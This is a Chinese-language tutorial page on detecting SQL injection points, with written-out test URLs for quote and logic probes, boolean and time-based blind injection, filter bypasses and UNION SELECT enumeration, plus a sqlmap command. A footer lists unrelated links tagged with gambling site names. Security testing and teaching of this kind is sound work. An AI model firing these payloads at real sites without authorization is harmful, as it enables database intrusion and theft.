如何判断SQL注入点¶

如何判断SQL注入点¶

如何判断SQL注入点¶ 以下是系统性的注入点判断方法和操作步骤:

1. 识别输入点¶ 检测位置:

URL查询参数(如?id=1)

表单输入字段(登录框/搜索框)

HTTP头部(Cookie/User-Agent/Referer)

REST API参数(JSON/XML数据)

2. 初步探测¶ (1)单引号测试¶ http://example.com/?id=1'

预期结果:

数据库错误(如MySQL的"语法错误")

500服务器错误

页面布局异常

(2)逻辑测试¶ 正常情况:http://example.com/?id=1

恒真条件:http://example.com/?id=1' AND '1'='1

恒假条件:http://example.com/?id=1' AND '1'='2

对比观察:

恒真条件返回正常页面

恒假条件返回空白/错误页面

3. 参数类型判断¶ (1)数字型参数¶ 原始请求:http://example.com/?id=1

修改为:http://example.com/?id=1+1

判断依据:

若返回id=2的结果则为数字型

支持运算表达式(如3-⅖*1)

(2)字符型参数¶ 原始请求:http://example.com/?id=user

修改为:http://example.com/?id=user'||'test

判断依据:

返回usertest相关结果

需要闭合引号('或")

4. 注释符验证¶ MySQL:--+ 或 #

MSSQL:--

Oracle:--

测试用例:

http://example.com/?id=1'--+

http://example.com/?id=1' ORDER BY 3#

5. 盲注检测¶ (1)布尔型检测¶ 正常:http://example.com/?id=1' AND 1=1--+

异常:http://example.com/?id=1' AND 1=2--+

判断方法:

对比两个请求的响应差异

检查页面元素/内容长度变化

(2)时间型检测¶ MySQL:http://example.com/?id=1' AND SLEEP(5)--+

MSSQL:http://example.com/?id=1'; WAITFOR DELAY '0:0:5'--

判断标准:响应时间显著增加(≥5秒)

6. 过滤规则测试¶ (1)关键字绕过¶ 大小写混合:hTtp://example.com/?id=1' uNIoN sELecT 1,2,3--+

内联注释:http://example.com/?id=1'/*!UNION*/SELECT 1,2,3--+

(2)特殊字符绕过¶ URL编码:%27 → ',%20 → 空格

双重编码:%2527 → ',%253C → <

7. 联合查询验证¶ 步骤1:确定字段数

http://example.com/?id=1' ORDER BY 5--+

步骤2:验证回显位置

http://example.com/?id=-1' UNION SELECT 1,2,3--+

成功标志:

页面显示数字2或3的位置

可在数字位插入SQL函数测试(如version())

8. 工具辅助验证¶ 使用sqlmap检测:

sqlmap -u "http://example.com/?id=1" --batch --level=3

关键输出:

存在可注入参数标识

数据库类型确认

graph TD

A[开始] --> B{识别输入点}

B --> |成功| C[单引号测试]

B --> |失败| Z[结束]

C --> D{是否报错}

D --> |是| E[确认字符型注入]

D --> |否| F[逻辑测试]

F --> G{页面变化}

G --> |有差异| H[存在注入漏洞]

G --> |无差异| I[尝试盲注测试]

I --> J{时间延迟/布尔结果}

J --> |存在差异| H

J --> |无差异| Z

2025年4月24日 08:05:18

相关推荐

日常祭礼
365bet盘口

日常祭礼

📅 08-02 👀 803
微信怎么发大的视频
bt365在线投注

微信怎么发大的视频

📅 07-03 👀 4800
【深度学习框架学习
bt365在线投注

【深度学习框架学习

📅 09-23 👀 8022
Windows 11 关机时间过长的完整解决方案:原因及解决方法